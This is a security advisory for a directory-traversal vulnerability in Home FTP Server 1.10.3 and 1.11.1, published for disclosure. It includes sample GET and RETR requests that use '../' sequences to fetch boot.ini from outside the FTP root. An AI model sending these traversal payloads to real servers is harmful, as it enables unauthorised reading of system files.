Home FTP Server Directory Traversal Vulnerability

Bugtraq ID:	44543
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 29 2010 12:00AM
Updated:	Feb 28 2011 07:28PM
Credit:	chr1x
Vulnerable:	Home Ftp Server Home Ftp Server 1.11.1 (build 149) Home Ftp Server Home Ftp Server 1.10.3 (build 144) Home Ftp Server Home Ftp Server 1.12
Not Vulnerable:

Home FTP Server Directory Traversal Vulnerability

Home FTP Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to retrieve arbitrary files outside of the FTP server root directory. This may aid in further attacks.

Home FTP Server 1.10.3 (build 144) and 1.11.1 (build 149) are vulnerable; other versions may also be affected.

Home FTP Server Directory Traversal Vulnerability

Attackers can exploit this issue through a browser.

The following example requests are available:

GET ../../../boot.ini
GET ../../../../boot.ini
GET ../../../../../boot.ini
GET ../../../../../../boot.ini
RETR ../../../../boot.ini

Home FTP Server Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Home FTP Server Directory Traversal Vulnerability

References:

• Home FTP Server Homepage (Ari Pikivirta)